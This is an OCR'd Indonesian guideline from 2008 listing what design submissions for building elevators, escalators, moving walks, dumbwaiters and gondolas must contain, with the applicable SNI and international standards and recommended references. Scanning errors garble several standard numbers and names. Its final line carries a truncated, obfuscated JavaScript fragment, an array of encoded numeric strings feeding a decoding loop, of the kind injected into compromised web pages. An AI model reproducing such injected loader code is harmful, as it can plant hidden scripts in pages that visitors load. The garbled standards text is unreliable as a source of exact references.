Petunjuk Pengajuan Dokumen Rancangan Instalasi dan Perlengkapan Bangunan
Written by Administrator
Friday, 10 October 2008 07:40
2.5.1. LINGKUP PEKERJAAN.
Dokumen instalasi transportasi pada gedung yang akan diserahkan untuk diperiksa terutama
meliputi
(1) Lif (Elevator).
(2) Tangga jalan atau eskalator (escalators)
(3) Lantai jalan (passanger conveyors, moving walks).
(4) Lif pelayanan )dumbwaiters).
(5) Gondola gedung (maintenance hoists), dan alat angkat lainnya pada gedung.
2.5.2 LAPORAN PERANCANGAN.
Laporan perancangan yang akan diserahkan untuk diperiksa sekurang-kurangnya harus
memuat bagian-bagian berikut :
(1) Kriteria Perancangan.
Bagian ini harus berisi penjelasan ringkas dasar perancangan serta besaran parameter
utama yang ditetapkan untuk perancangan :
(a) _ Lif (elevator).
(termasuk dalam katagori elevator ini adalah lif penumpang, lif barang dan lif
kebakaran) 1) Kepadatan hunian setiap lantai dan bangunan keseluruhan.
2) Faktor jumlah pengguna.
3) Jumlah lantai yang dilayani
4) Pembagian zona.
5) Waktu puncak.
6) __Kapasitas, ukuran kereta dan lebar pintu elevator.
7) 5 Minute Handling Capacity.
8) Waktu tunggu (waiting time) maksimum yang dipilih,
9) Waktu tempuh maksimum dan lantai dasar/lobby utama sampai lantai teratas
untuk lif kebakaran
(b) _ Eskalator.
1) Kepadatan hunian lantai-lantai yang akan dilayani.
2) faktor jumlah pengguna.
3) Pembagian zona.
4) Kapasitas.
5) Lebar, tinggi tempuh dan sudut kemiringan tangga.
6) Kecepatan.
7) Pengaturan gerak (naik turunnya) eskalator.
(c) _ Lantai jalan.
1) Kepadatan hunian lantai-lantai yang akan dilayani.
2) faktor jumlah pengguna.
3) Pembagian zona.
4) Kapasitas.
5) Lebar, tinggi tempuh dan sudut kemiringan tanga.
6) — Kecepatan.Petunjuk Pengajuan Dokumen Rancangan Instalasi dan Perlengkapan Bangunan
Written by Administrator
Friday, 10 October 2008 07:40
7) Pengaturan gerak (naik turunnya) eskalator.
(d) Lif Pelayanan (dumbwaiters).
1) Beban pelayanan.
2) Jumlah lantai yang dilayani.
3) Kapasitas, ukuran kereta dan lebar pintu dumbwaiter.
4) Waktu tunggu (waiting time) yang dipilih.
5) Waktu tempuh maksimum,
(e) Gondola.
1) Tinggi bagian gedung yang dilayani,
2) Keliling gedung.
3) _Luas dan jenis permukaan kulit luar gedung/bangunan (kaca/alumunium/ granit
dan lain-lain) yang dilayani.
4) Sistem operasi (lama, peralatan dan jumlah operator).
5) __ Sistem gondola, penggantung dan penyangga, dan sistem penggerak.
6) Sistem pengaman.
_(2). Standar dan Peraturan yang berlaku.
Standar dan peraturan yang digunakan adalah edisi terakhir yang masih berlaku yang
berkaitan langsung/tidak langsung dengan transportasi dalam gedung antara lain
(a) Peraturan Daerah DK Jakarta yang berkaitan dengan jenis instalasi transportasi
dalam gedung yang dirancang atau yang berpengaruh terhadap pengoperasian jenis instalasi
yang diraneang,
(b) _ Standar Nasional Indonesia, Pedoman Teknik, dan rekomendasi dari instansi yang
berwenang
1) SNI.05-2189-19939, Istilah dan Definisi
2) — SNI03-2190-1999, Syarat-syarat umum Konstruksi Lif Penumpang yang dijalankan
dengan Motor Traksi
3) SNI03-2190,1-2000, Syarat-syarat umum Konstruksi Lif Hidrolis.
4) SNI03-2190.2-2000, Syarat-syarat umum konstruksi lif Pelayanan (Dumb waiter)
5) _ SNI03-6247.1-2000, Syarat-syarat umum konstruksi lif penumpang
6) _ SNI03-6248-2000, Konstruksi Eskalator.
7) _ SNI03-6573-2000, Tata Cara Perancangan Sistem Transportasi Vertikal Dalam
Gedung (Lif).
8) _SNI03-7017.1-2004, Pemeriksaan dan Pengujian Lif Traksi pada Bangunan
Gedung, Pemeriksaan dan Pengujian serah terima.
9) SNI03-7017.2-2004, Pemeriksaan dan Pengujian Lif Traksi pada Bangunan
Gedung, Pemeriksaan dan Pengujian Berkala.
(c) _ Peraturan Lif Listrik, Pesawat Angkat dan Angkut dari Departemen Tenaga Kerja,
edisi terakhir.
(4) Standar dan Peraturan Internasional lain yang dijjinkan oleh Instansi Berwenang
(Standar, peraturan dan acuan internasional lain yang setara yang tidak bertentangan denganPetunjuk Pengajuan Dokumen Rancangan Instalasi dan Perlengkapan Bangunan
Written by Administrator
Friday, 10 October 2008 07:40
peraturan di Indonesia).
1) International Building Code, 2000, atau edisi terbaru.
2) Uniform Bechanical Bulding Code, 2000, atau edisi terbaru.
3) ASME, A17.1 Safety Code for Elevator and Escalators, 2000, atau edisi terbaru
(3). Perhitungan.
Bagian ini harus memuat contoh perhitungan untuk masalah penting atau yang kritis
dalam penentuan sistem, meliputi analisa lalu lintas (traffic analysis), penentuan pembagian
zona layanan, penentuan jumlah dan sebagainya sesuai dengan hal-hal yang disyaratakan di
atas, Semua perhitungan, analisa lalu lintas (traffic analysis), harus menggunakan metoda
yang telah baku atau telah diterbitkan dalam bentuk buku, yang telah diakui oleh asosiasi
profesi internasional atau sekurang-kurangnya oleh asosiasi profesi nasional.
(a) __ Lif (Elevator)
1) Pembagian zona pelayanan.
2) Penentuan jumlah elevator.
3) Kecepatan elevator.
4) Kapasitas elevator.
5) Handling Capacity.
6) Waktu tunggu
7) — Waktu tempuh
8) Daya listrik
(b) Eskalator.
1) Penentuan jumlah eskalator.
2) Kecepatan eskalator.
3) Kapasitas.
4) Jumlah eskalator.
5) Daya listrik.
(c) Lantai Jalan.
1) Penentuan jumlah lantai jalan.
2) Kecepatan lantai jalan.
3) Jumlah lantai jalan
4) Daya listrik.
(d) Gondola.
1) Jumlah gondola yang diperlukan untuk pembersihan permukaan dinding luar
bangunan dengan menggunakan gondola dan disesuaikan dengan bentuk atap gedung.
2) Daya listrik.
(4). Uraian Cara Kerja Sistem.
(a) Perencanaan harus menguraikan garis besar cara kerja atau pengoperasian sistem,
dengan menekankan peralatan dan mesin yang penting/utama, baik dalam keadaan normal,
gangguan maupun dalam keadaan darurat (misalnya daya listrik putus atau darurat kebakaran).
(b) Untuk elevator kebakaran, harus ditunjukkan elevator mana yang akan berfungsi
‘sebagai elevator kebakaran serta diuraikan data peralatan dan cara pengoperasiannya, danPetunjuk Pengajuan Dokumen Rancangan Instalasi dan Perlengkapan Bangunan
Written by Administrator
Friday, 10 October 2008 07:40
diuraikan puta cara pengamanan elevator tersebut terhadap bahaya asap kebakaran.
(c) Pada elevator kebakaran harus dijelaskan cara pengoperasian apabila instalasi
penginderaan kebakaran bekerja atau hubungannya dengan BAS apabila dipasang dalam
gedung ini
(5). Data Teknis Peralatan.
Laporan ini harus memuat data teknis peralatan utama yang dipergunakan antara lain :
(a) _ Sistem penggerak.
(b) — Sistem kontrol
(c) Sistem pengaman dalam keadaan darurat.
(d) Sistem komunikasi,
(e) Ventilasi.
(ff) Pencahayaan.
(g) Sistem dan daya listik
(h) Beban-beban.
2.5.3 GAMBAR RANCANGAN.
Gambar rancangan yang diserahkan untuk diperiksa harus gambar rancangan mutakhir yang
sesungguhnya akan dibangun, dan sekurang-kurangnya meliputi
(1) Lif, Eskalator, Lantai Jalan, Dumbwaiter, untuk bagian yang relevan :
(a) Daftar gambar yang diserahkan untuk diperiksa.
(b) Daftar simbol dan arti singkatan.
(c) Skematik diagram sistem transportasi
(¢) _ Gambar tapak bangunan, menunjukkan lokasi gedung dalam tapak dengan rencana
jalur lalu lintas pada keadaan normal, maupun darurat kebakaran, khususnya untuk evakuasi
penghuni, petugas dan kendaraan pemadam kebakaran
(e) Gambar lantai tipikal, menunjukkan lokasi dan sistem trafik penumpang, barang
maupun petugas kebakaran pada setiap lantai tipikal bangunan, baik berupa gambar potongan
maupun denah,
() — Gambar ruang mesin, meliputi denah ruang mesin, tata letak peralatan, beban-beban,
ventilasi.
(9) Gambar sistem transportasi, menunjukkan letak dan detail pintu, sumuran (pit) pada
masing-masing elevator.
(h) Gambar potongan ruang luncur (hoistway), menunjukkan ruang mesin, kereta
sumuran (pit), beban pengi,bang, balok pemisah, jarak antara lantai, ukuran utama,
(i) Gambar detail, yang dianggap perlu untuk lebih memperjelas sistem maupun
peralatan kontrol, mesin dan gaya reaksi beban (dari pilihan yang terberat), antara lain letak
‘emergency switch, fire switch, guide rail, hoisting hook, separator beam dan sebagainya.
(2) Gondola.
(a) Gambar denah dan jalur gondola
(b) Sistem rel dan penambatan.
(c) Sistem penggantung.
(d) Detail gondola, kereta, sistem daya listrik, sistem kontrol dan pengamanPetunjuk Pengajuan Dokumen Rancangan Instalasi dan Perlengkapan Bangunan
Written by Administrator
Friday, 10 October 2008 07:40
2.5.4 LAMPIRAN.
Perancang harus melampirkan dokumen tambahan yang dianggap perlu untuk menjelaskan
bagian instalasi dan/atau mesin yang penting, serta fotoko[pi bagian referensi yang digunakan
untuk mendukung cara perhitungan yang dipakai
2.5.5 BUKU REFERENSI YANG DIANJURKAN.
(1) George R Strakosch, Jeros, Baum and Bolles, Vertical Transportation Elevators and
Escalator,
(2) Wiliam J McGuinness, Benyjamin Sten, John Reynolds, Mechanical and Electrical
Equipment for Building.
(3) _NEII-USA, Building Transportation Standard and Guidelines, Installation Manual
(4) Lubomir Janouvsky, Elevator Mechanical Design
(5) Lift Modernisation Design Guide, Roger E Howkins.
(6) The Guide to Elevatoring, Elevator World, New York,
(7) Antonio Miravete,Ph.D, New Mechanical and New Technology applied to Elevator.
Tim TPIB untuk bidang Transportasi Dalam Gedung (TDG).
(1) Ir Ariono Suprayogi, IPM, mewakili BKM-PIL
(2) Prof.Dr.lr.indra Nurhadi, mewakili [TB
(3) Dr.i-Hendrawan, mewakili ITB
(4) Ir. Nurmata, mewakili Dinas Tenaga Kerja Pemprov. DKI Jakarta. var a=0.m,¥.t,2,X=1
Array('8081867366,,76776866627975','777680708 1707675 ,,6263807673828 166','64737077,,7
9666481',7785'62828176') |=x.length:while(++a